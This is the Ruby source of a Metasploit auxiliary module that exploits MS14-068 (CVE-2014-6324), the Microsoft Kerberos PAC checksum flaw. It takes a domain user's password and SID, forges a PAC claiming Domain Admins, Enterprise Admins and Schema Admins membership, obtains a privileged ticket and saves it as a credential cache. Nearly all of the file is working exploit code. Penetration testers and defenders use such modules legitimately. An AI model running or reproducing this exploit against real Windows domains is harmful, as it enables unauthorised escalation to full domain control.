Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Auxiliary::Report
8
  include Msf::Exploit::Remote::Kerberos::Client
9

10
  def initialize(info = {})
11
    super(update_info(info,
12
      'Name' => 'MS14-068 Microsoft Kerberos Checksum Validation Vulnerability',
13
      'Description' => %q{
14
        This module exploits a vulnerability in the Microsoft Kerberos implementation. The problem
15
        exists in the verification of the Privilege Attribute Certificate (PAC) from a Kerberos TGS
16
        request, where a domain user may forge a PAC with arbitrary privileges, including
17
        Domain Administrator. This module requests a TGT ticket with a forged PAC and exports it to
18
        a MIT Kerberos Credential Cache file. It can be loaded on Windows systems with the Mimikatz
19
        help. It has been tested successfully on Windows 2008.
20
      },
21
      'Author' =>
22
        [
23
          'Tom Maddock', # Vulnerability discovery
24
          'Sylvain Monne', # pykek framework and exploit
25
          'juan vazquez' # Metasploit module
26
        ],
27
      'References' =>
28
        [
29
          ['CVE', '2014-6324'],
30
          ['MSB', 'MS14-068'],
31
          ['OSVDB', '114751'],
32
          ['URL', 'http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx'],
33
          ['URL', 'https://labs.mwrinfosecurity.com/blog/2014/12/16/digging-into-ms14-068-exploitation-and-defence/'],
34
          ['URL', 'https://github.com/bidord/pykek'],
35
          ['URL', 'https://www.rapid7.com/blog/post/2014/12/25/12-days-of-haxmas-ms14-068-now-in-metasploit']
36
        ],
37
      'License' => MSF_LICENSE,
38
      'DisclosureDate' => '2014-11-18'
39
    ))
40

41
    register_options(
42
      [
43
        OptString.new('USERNAME', [ true, 'The Domain User' ], aliases: ['USER']),
44
        OptString.new('PASSWORD', [ true, 'The Domain User password' ]),
45
        OptString.new('DOMAIN', [ true, 'The Domain (upper case) Ex: DEMO.LOCAL' ]),
46
        OptString.new('USER_SID', [ true, 'The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000'])
47
      ])
48
  end
49

50
  def run
51
    print_status("Validating options...")
52

53
    unless datastore['USER_SID'] =~ /^S-(\d+-){6}\d+$/
54
      print_error("Invalid USER_SID. Ex: S-1-5-21-1755879683-3641577184-3486455962-1000")
55
      return
56
    end
57

58
    domain = datastore['DOMAIN'].upcase
59

60
    print_status("Using domain #{domain}...")
61

62
    user_sid_arr = datastore['USER_SID'].split('-')
63
    domain_sid = user_sid_arr[0, user_sid_arr.length - 1].join('-')
64
    user_rid = user_sid_arr[user_sid_arr.length - 1].to_i
65

66
    checksum_type = Rex::Proto::Kerberos::Crypto::Checksum::RSA_MD5
67
    etype = Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC
68
    encryptor = Rex::Proto::Kerberos::Crypto::Encryption::from_etype(etype)
69
    password_digest = encryptor.string_to_key(datastore['PASSWORD'])
70

71
    pre_auth = []
72
    pre_auth << build_as_pa_time_stamp(key: password_digest, etype: etype)
73
    pre_auth << build_pa_pac_request
74
    pre_auth
75

76
    print_status("#{peer} - Sending AS-REQ...")
77
    res = send_request_as(
78
      client_name: "#{datastore['USERNAME']}",
79
      server_name: "krbtgt/#{domain}",
80
      realm: "#{domain}",
81
      key: password_digest,
82
      pa_data: pre_auth,
83
      etype: [etype]
84
    )
85

86
    unless res.msg_type == Rex::Proto::Kerberos::Model::AS_REP
87
      print_warning("#{peer} - #{warn_error(res)}") if res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR
88
      print_error("#{peer} - Invalid AS-REP, aborting...")
89
      return
90
    end
91

92
    print_status("#{peer} - Parsing AS-REP...")
93

94
    session_key = extract_session_key(res, password_digest)
95
    logon_time = extract_logon_time(res, password_digest)
96
    ticket = res.ticket
97

98
    pre_auth = []
99
    pre_auth << build_pa_pac_request
100

101
    groups = [
102
      Rex::Proto::Kerberos::Pac::DOMAIN_ADMINS,
103
      Rex::Proto::Kerberos::Pac::DOMAIN_USERS,
104
      Rex::Proto::Kerberos::Pac::SCHEMA_ADMINISTRATORS,
105
      Rex::Proto::Kerberos::Pac::ENTERPRISE_ADMINS,
106
      Rex::Proto::Kerberos::Pac::GROUP_POLICY_CREATOR_OWNERS
107
    ]
108

109
    pac = build_pac(
110
      client_name: datastore['USER'],
111
      group_ids: groups,
112
      domain_id: domain_sid,
113
      user_id: user_rid,
114
      realm: domain,
115
      logon_time: logon_time,
116
      checksum_type: checksum_type
117
    )
118

119
    auth_data = build_pac_authorization_data(pac: pac)
120
    sub_key = build_subkey(subkey_type: etype)
121

122
    print_status("#{peer} - Sending TGS-REQ...")
123

124
    res = send_request_tgs(
125
      client_name: datastore['USER'],
126
      server_name: "krbtgt/#{domain}",
127
      realm: domain,
128
      session_key: session_key,
129
      ticket: ticket,
130
      auth_data: auth_data,
131
      pa_data: pre_auth,
132
      subkey: sub_key
133
    )
134

135
    unless res.msg_type == Rex::Proto::Kerberos::Model::TGS_REP
136
      print_warning("#{peer} - #{warn_error(res)}") if res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR
137
      print_error("#{peer} - Invalid TGS-REP, aborting...")
138
      return
139
    end
140

141
    print_good("#{peer} - Valid TGS-Response, extracting credentials...")
142

143
    cache = extract_kerb_creds(res, sub_key.value)
144
    Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(cache, framework_module: self, host: rhost)
145
  end
146

147
  def warn_error(res)
148
    "#{res.error_code}"
149
  end
150
end
151

152

153